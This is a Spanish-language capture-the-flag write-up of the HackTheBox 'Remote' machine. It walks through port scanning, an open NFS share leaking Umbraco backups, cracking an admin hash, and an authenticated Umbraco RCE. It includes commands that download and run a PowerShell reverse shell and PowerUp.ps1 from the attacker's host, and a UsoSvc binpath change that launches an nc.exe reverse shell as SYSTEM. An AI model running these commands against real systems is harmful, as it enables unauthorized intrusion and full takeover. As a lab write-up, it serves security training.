Posts Hackthebox Remote Writeup (OSCP Style)
Post
Cancel

Hackthebox Remote Writeup (OSCP Style)

 Información de la máquina.

ContenidoDescripción
OS:
Dificultad:Fácil
Puntos:20
Lanzamiento:21-Marzo-2020
IP:10.10.10.180
Primera sangre de usuario:enjloezz
Primera sangre de system:qtc
Creador:mrb3n

Reconocimiento.

Como siempre comenzaremos con un escaneo a los 65535 puertos de la máquina para poder encontrar cuales son los puertos abiertos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
intrusionz3r0@kali:~$ nmap -p- --open -T5 -n -oG nmapScanAllPorts remote.htb -Pn --min-rate 2000
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-04 23:43 CDT
Nmap scan report for remote.htb (10.10.10.180)
Host is up (0.17s latency).
Not shown: 62929 closed ports, 2591 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
21/tcp    open  ftp
80/tcp    open  http
111/tcp   open  rpcbind
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
2049/tcp  open  nfs
5985/tcp  open  wsman
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49667/tcp open  unknown
49678/tcp open  unknown
49679/tcp open  unknown
49680/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 38.83 seconds

Una vez terminado el escaneo lanzaremos scripts de enumeración básicos para detectar los servicios y versiones de los puertos abiertos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
intrusionz3r0@kali:~$ nmap -sCV -p21,80,111,135,139,445,2049,5985,47001,49664,49665,49666,49667,49678,49679,49680 -oN targeted -Pn remote.htb
Nmap scan report for remote.htb (10.10.10.180)
Host is up (0.18s latency).

PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp    open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Home - Acme Widgets
111/tcp   open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
2049/tcp  open  mountd        1-3 (RPC #100005)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49678/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  msrpc         Microsoft Windows RPC
49680/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 2m44s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-09-03T04:33:34
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep  2 23:32:42 2020 -- 1 IP address (1 host up) scanned in 175.20 seconds

Enumeración FTP.

Al ver que tenemos muchos puertos abiertos comienzo enumerando el puerto 21 FTP ya que este cuenta con el usuario Anonymous por defecto.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
intrusionz3r0@kali:~$ ftp remote.htb
Connected to remote.htb.
220 Microsoft FTP Service
Name (remote.htb:intrusionz3r0): Anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
ftp> exit
221 Goodbye.

Al parecer en el servicio FTP se encuentra vació, por lo que pasaremos al puerto 80 HTTP.

Enumeración HTTP.

Abro el navegador y me dirijo a http://remote.htb/.

Rápidamente le doy un vistazo al código fuente.

No encontramos nada interesante.

Para esta etapa nosotros como atacantes necesitamos enumerar la página manualmente haciendo clic en todos los enlaces,botones, testear formularios, analizar peticiones, anotar información relevante, etc.

Ya que necesitamos buscas posibles vías potentes de explotación.

La única pestaña que contenía algo interesante fue la de http://remote.htb/people/ que parece mostrar posibles usuarios.

Ahora realizare una enumeración de directorios utilizando la herramienta wfuzz.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
intrusionz3r0@kali:~$ wfuzz -c --hc 404 -t 200 -w /usr/share/wordlists/dirb/common.txt http://remote.htb/FUZZ

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://remote.htb/FUZZ
Total requests: 4614

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                               
===================================================================

000000001:   200        187 L    490 W    6693 Ch     ""                                                                                                    
000000227:   200        161 L    428 W    5441 Ch     "about-us"                                                                                            
000000646:   200        137 L    338 W    5001 Ch     "blog"                                                                                                
000000647:   200        137 L    338 W    5001 Ch     "Blog"                                                                                                
000001013:   200        124 L    331 W    7880 Ch     "contact"                                                                                             
000001014:   200        124 L    331 W    7880 Ch     "Contact"                                                                                             
000001908:   200        187 L    490 W    6703 Ch     "home"                                                                                                
000001909:   200        187 L    490 W    6703 Ch     "Home"                                                                                                
000002058:   302        3 L      8 W      126 Ch      "install"                                                                                             
000002094:   200        116 L    222 W    3323 Ch     "intranet"                                                                                            
000002453:   500        80 L     276 W    3420 Ch     "master"                                                                                              
000002903:   200        167 L    330 W    6739 Ch     "people"                                                                                              
000002904:   200        167 L    330 W    6739 Ch     "People"                                                                                              
000003139:   500        80 L     276 W    3420 Ch     "product"                                                                                             
000003151:   200        129 L    302 W    5320 Ch     "products"                                                                                            
000003152:   200        129 L    302 W    5320 Ch     "Products"                                                                                            
000002909:   200        81 L     198 W    2741 Ch     "person"                                                                                              
000004181:   200        95 L     189 W    4040 Ch     "umbraco"                                                                                             

Total time: 62.42794
Processed Requests: 4614
Filtered Requests: 4596
Requests/sec.: 73.90921

La ruta que mas destaca es: umbraco.

Esta ruta nos revela un gestor de contenido llamado umbraco.

Hago una búsqueda en Google y encuentro lo siguiente:

Ahora veamos que dice wappalyzer.

Hemos recolectado algo de información valiosa, ahora buscaremos si este gestor de contenido esta asociado a alguna vulnerabilidad critica.

Utilizo la herramienta searchsploit.

Como podemos observar hay 2 exploit interesantes el primero de ellos es utilizando metasploit pero como saben este tipo de writeups se hacen al estilo del OSCP por lo que pasaremos de este, el segundo es un exploit de RCE (Ejecución remota de comandos) pero necesitamos proporcionarles unas credenciales.

Así que necesitamos hacernos con las credenciales para poder utilizarlo.

Enumeración rpcbind.

Comenzaremos enumerando el servicio rpcbind que se ejecuta en el puerto 111.

Si revisamos nuevamente el escaneo nmap encontramos ejecutándose un sistema de archivos NFS (Network File System) lo que significa que podemos encontrar archivos interesantes en los cuales podamos indagar para encontrar información valiosa.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
111/tcp   open  rpcbind       2-4 (RPC #100000)                                                                                                                        
| rpcinfo:                                                                                                                                                             
|   program version    port/proto  service                                                                                                                             
|   100000  2,3,4        111/tcp   rpcbind                                                                                                                             
|   100000  2,3,4        111/tcp6  rpcbind                                                                                                                             
|   100000  2,3,4        111/udp   rpcbind                                                                                                                             
|   100000  2,3,4        111/udp6  rpcbind                                                                                                                             
|   100003  2,3         2049/udp   nfs                                                                                                                                 
|   100003  2,3         2049/udp6  nfs                                                                                                                                 
|   100003  2,3,4       2049/tcp   nfs                                                                                                                                 
|   100003  2,3,4       2049/tcp6  nfs                                                                                                                                 
|   100005  1,2,3       2049/tcp   mountd                                                                                                                              
|   100005  1,2,3       2049/tcp6  mountd                                                                                                                              
|   100005  1,2,3       2049/udp   mountd                                                                                                                              
|   100005  1,2,3       2049/udp6  mountd                                                                                                                              
|   100021  1,2,3,4     2049/tcp   nlockmgr                                                                                                                            
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status 
|   100024  1           2049/tcp6  status 
|   100024  1           2049/udp   status 
|_  100024  1           2049/udp6  status

Para mas información puede visitar: pentesting-rpcbind y nfs-service-pentesting.

Ahora tenemos que ver si existe alguna carpeta a la cual podamos acceder.

1
2
3
intrusionz3r0@kali:~$ showmount -e remote.htb
Export list for remote.htb:
/site_backups (everyone)

y efectivamente encontramos una carpeta en la que podemos indagar.

Rápidamente realizo una montura para poder traer todo el contenido a mi máquina local.

1
intrusionz3r0@kali:~$ sudo mount -t nfs -o vers=2 remote.htb:/site_backups /mnt/HTB/Remote

Como podemos observar ahora podemos ver el contenido de la carpeta y esta almacena información sobre el gestor de contenido umbraco.

Por lo que mi siguiente paso es realizar una búsqueda en Google para encontrar archivos con información sensible.

En este caso podemos realizar búsquedas con palabras clave como por ejemplo:

  • [Gestor de contenido] db file location.
  • [Gestor de contenido] credentials config file.
  • etc.

Encontré lo siguiente:

Rápidamente hecho un vistazo a la ruta.

Encontramos lo que parece ser el hash del usuario administrador.

Abro una terminal y ejecuto john para descifrar el hash.

1
intrusionz3r0@kali:~$ john -w=/usr/share/wordlists/rockyou.txt hash

Jajaja yo ya había descifrado el hash.

1
2
3
4
intrusionz3r0@kali:~$ john -show hash
Administrator:baconandcheese

1 password hash cracked, 0 left

Llego la hora de probar suerte y probar las credenciales en el panel de login de umbraco.

Shell como el usuario defaultapppool.

Ahora que tenemos unas credenciales llego la hora de explotar este gestor de contenido, si recuerdas habíamos hecho uso de la herramienta searchsploit para encontrar un exploit para umbraco y habíamos encontrado uno que necesitaba credenciales.

Pues lamentablemente el exploit que habíamos encontrado me dio problemas a si que me di a la tarea de encontrar otro.

El exploit que utilizaremos es el siguiente: Umbraco-RCE.

Lo ejecuto y obtenemos ejecución remota de comandos.

Ahora que podemos ejecutar comandos hare uso de la reverse shell Invoke-PowerShellTcp.ps1 del repositorio de nishang.

Monto un servidor con python compartiendo el Invoke-PowerShellTcp.ps1 y ejecuto el exploit.

1
intrusionz3r0@kali:~$ python exploit.py -u admin@htb.local -p baconandcheese -i http://remote.htb/ -c "powershell" -a "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.28/Invoke-PowerShellTcp.ps1')"

Nota: Para que el script en powershell se interprete y se ejecute necesitas agregar al final del script la siguiente linea: Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PORT].

Shell como el usuario administrador.

Comienzo a enumerar la máquina subiendo un script de enumeración llamado PowerUp.ps1 del repositorio de PowerSploit.

Monto un servidor con python compartiendo el PowerUp.ps1 y lo ejecuto en la máquina.

1
PS C:\windows\system32\inetsrv> IEX(New-Object Net.WebClient).downloadString('http://10.10.14.28/PowerUp.ps1');Invoke-AllChecks

Como podemos observar tenemos acceso de escritura al servicio UsoSvc y podemos cambiar la BinPath y ejecutar lo que yo quiera Administrador.

Para obtener una shell como System montaremos un servidor con python compartiendo el binario nc.exe y lo descargaremos en la máquina remote. Y para finalizar solo detenemos el servicio, modificamos la binpath y ejecutamos nuevamente el servicio.

1
2
3
PS C:\Temp> sc.exe stop UsoSvc
PS C:\Temp> sc.exe config UsoSvc binpath= "C:\Temp\nc.exe 10.10.14.28 1234 -e cmd.exe"
PS C:\Temp> sc.exe start UsoSvc

¡¡Somos Administradores!!

enter image description here

Espero te haya gustado, recuerda seguirme en mis redes sociales para estar al pendiente de todo mi contenido.

¡Muchas Gracias!

This post is licensed under CC BY 4.0 by the author.